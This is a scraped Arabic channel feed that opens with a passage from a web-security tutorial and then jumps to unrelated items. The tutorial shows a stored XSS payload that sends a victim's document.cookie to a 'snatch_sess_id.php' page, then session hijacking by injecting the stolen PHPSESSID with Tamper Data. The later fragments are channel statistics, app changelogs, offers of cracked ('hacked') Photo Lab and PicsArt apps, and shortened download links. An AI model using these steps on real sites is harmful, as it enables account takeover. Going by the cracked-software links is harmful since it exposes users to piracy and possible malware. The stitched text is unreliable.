هذه المقالة للحصول على مزيد من المعلومات حول كيفية القيام بذلك.
البريد الإلكتروني لتسجيل الدخول هو admin@google.com ، وكلمة المرور هي Password2010
إذا قمت بتسجيل الدخول بنجاح ، فستحصل على لوحة القيادة التالية
انقر فوق "إضافة جهة اتصال جديدة"
أدخل ما يلي كاسم أول
<a href=# onclick=\"document.location=\'http://techpanda.org/snatch_sess_id.php؟c=\'+escape\(document.cookie\)\؛\"> Dark </a>
هنا،
الرمز أعلاه يستخدم JavaScript . يضيف ارتباط تشعبي مع حدث onclick . عندما ينقر المستخدم المطمئن على الرابط ، يسترجع الحدث معرف جلسة ملف تعريف ارتباط PHP ويرسله إلى صفحة snatch_sess_id.php مع معرف الجلسة في عنوان URL
أدخل التفاصيل المتبقية كما هو موضح أدناه
انقر فوق حفظ التغييرات
ستبدو لوحة المعلومات الآن بالشاشة التالية
نظرًا لأنه يتم تخزين رمز البرنامج النصي للمواقع المشتركة في قاعدة البيانات ، فسيتم تحميله في كل مرة يقوم فيها المستخدمون بتسجيل الدخول إلى حقوق الوصول
لنفترض أن المسؤول يقوم بتسجيل الدخول والنقرات على الرابط التشعبي الذي يقول Dark
هو / هي ستحصل على النافذة مع معرّف الجلسة في عنوان URL
ملاحظة : يمكن أن يرسل البرنامج النصي القيمة إلى بعض الخوادم البعيدة حيث يتم تخزين PHPSESSID ثم يعيد المستخدم توجيهه مرة أخرى إلى الموقع كما لو لم يحدث شيء.
ملاحظة : قد تكون القيمة التي تحصل عليها مختلفة عن القيمة في هذا البرنامج التعليمي ، ولكن المفهوم هو نفسه
انتحال الجلسة باستخدام الوظيفة الإضافية لمتصفح فايرفوكس وبيانات العبث
يعرض المخطط الانسيابي أدناه الخطوات التي يجب اتخاذها لإكمال هذا التمرين.
ستحتاج إلى متصفح الويب Firefox لهذا القسم ولإضافة Tamper Data
افتح Firefox وقم بتثبيت الإضافة كما هو موضح في المخططات أدناه
ابحث عن بيانات العبث ثم انقر فوق "تثبيت" كما هو موضح أعلاه
انقر فوق قبول وتثبيت ...
انقر على إعادة التشغيل الآن عند اكتمال التثبيت
قم بتمكين شريط القوائم في Firefox إذا لم يتم عرضه
انقر على قائمة الأدوات ، ثم حدد بيانات العبث كما هو موضح أدناه
سوف تحصل على النافذة التالية. ملاحظة: إذا لم يكن Windows فارغًا ، فاضغط على الزر مسح
انقر على قائمة ابدأ العبث
قم بالتبديل إلى متصفح الويب Firefox ، واكتب http://www.techpanda.org/dashboard.php ، ثم اضغط على مفتاح الإدخال لتحميل الصفحة
سوف تحصل على المنبثقة التالية من بيانات العبث
تحتوي النافذة المنبثقة على ثلاثة (3) خيارات. يسمح لك الخيار Tamper بتعديل معلومات رأس HTTP قبل إرسالها إلى الخادم .
انقر عليه
سوف تحصل على النافذة التالية
انسخ معرف جلسة PHP الذي نسخته من عنوان URL للهجوم والصقه بعد علامة المساواة. القيمة الخاصة بك يجب أن تبدو الآن مثل هذا
PHPSESSID = 2DVLTIPP2N8LDBN11B2RA76LM2
انقر على زر موافق
سوف تحصل على النافذة المنبثقة بيانات العبث مرة أخرى
ألغ تحديد مربع الاختيار الذي يطلب "متابعة العبث"؟
انقر على زر إرسال عند الانتهاء
يجب أن تكون قادرًا على رؤية لوحة القيادة كما هو موضح أدناه
ملاحظة : لم نقم بتسجيل الدخول ، قمنا بانتحال شخصية جلسة تسجيل الدخول باستخدام قيمة PHPSESSID التي استردناها باستخدام البرمجة النصية عبر المواقع
ملخص
يعتمد تطبيق الويب على طراز الخادم والعميل. يستخدم جانب العميل متصفح الويب للوصول إلى الموارد الموجودة على الخادم.
عادة ما يمكن الوصول إلى تطبيقات الويب عبر الإنترنت. هذا يجعلهم عرضة للهجمات.
تتضمن تهديدات تطبيق الويب SQL Injection و Code Injection و XSS و Defacement وتسمم ملف تعريف الارتباط ، إلخ.
يمكن أن تساعد سياسة الأمان الجيدة عند تطوير تطبيقات الويب في جعلها آمنة.

اساسيات نظام لينكس

يعد اللينكس من افضل انظمة التشغيل بسبب نسبة الامان العالية فيه وعموما شبه مستحيل اختراق هيك نظام والو توزيعات مفتوحة المصدر مثل kali linux وهي التوزيعة متخصصة باختبار الاختراق

​إحصائيّات Syrian Technical Support لـ آخر 31 يومًا.

٢٠٢٠-٠٣-٠٣   312   0       0%
٢٠٢٠-٠٣-٠٢   312  +2   +0.64%
٢٠٢٠-٠٣-٠١   310 +10   +3.23%
٢٠٢٠-٠٢-٢٩   300 +11   +3.67%
٢٠٢٠-٠٢-٢٨   289 +10   +3.46%
٢٠٢٠-٠٢-٢٧   279 +15   +5.38%
٢٠٢٠-٠٢-٢٦   264 +13   +4.92%
٢٠٢٠-٠٢-٢٥   251  +6   +2.39%
٢٠٢٠-٠٢-٢٤   245 +22   +8.98%
٢٠٢٠-٠٢-٢٣   223  +5   +2.24%
٢٠٢٠-٠٢-٢٢   218  +8   +3.67%
٢٠٢٠-٠٢-٢١   210  +5   +2.38%
٢٠٢٠-٠٢-٢٠   205 +37  +18.05%
٢٠٢٠-٠٢-١٩   168 +73  +43.45%
٢٠٢٠-٠٢-١٨   95 +38  +40.00%
٢٠٢٠-٠٢-١٧   57   0       0%

t.me/Sy_technical_hk

غروبنا الي متخصص بمواضيع امن المعلومات 🖤

Router Admin Setup Control - Setup WiFi Password by WiFi Extender - WiFi Analyzer & WiFi Speed Test
com.routersetup.routeradmin.routersetuppage
Version: 1.0.10(10010)
Updated: Feb 26, 2020
Size: 5.00MB
- Add Router Admin Setup
- Add Router Password Query
- Add WiFi Router Info
- Add WiFi Speed in real time
- Add More Translations

tpMiFi by TP-LINK Technologies Co., Ltd.
com.tplink.tpmifi
Version: 2.0.9(38)
Updated: Dec 8, 2019
Size: 14.02MB
1、Supported Japanese and Russian;
2、Optimized the login experience;
3、Added Quick Setup function;
4、Adapted to Android 9.0;
5、Fixed some bugs and improved user experience.

هاد البرنامج لتحليل بيانات الشبكة يعني نثلا شو المواقع الي عم ينفات عليها سواء من جهازك او جهازك تاني متصل معك ع نفس الشبكة طبعا التطبيق كان فيه كتير مشاكل وعدلتو وزبطتو اعتبروها تقييم لشغلي مو اكتر 😅❤️

Photo lab مهكر

Pics art مهكر

MiniTool Power Data Recovery Free Edition 8.5 for Windows

Description:
An easy-to-use and all in one free file recovery software

Download:
http://sowernal.com/1iW8

YUMI 2.0.6.5 for Windows

Description:
Creates multi-boot and multi-system USB disks from Windows

What's new in this version:
- Fix to support System Rescue CD 6.0.3, and HD Sentinel

Downlaod:
http://sowernal.com/1iTn

Free Download Manager Version 5.1.29.6471 (a62ec30) For Windows

http://free-winapps.blogspot.com/2017/06/free-download-manager-for-windows.html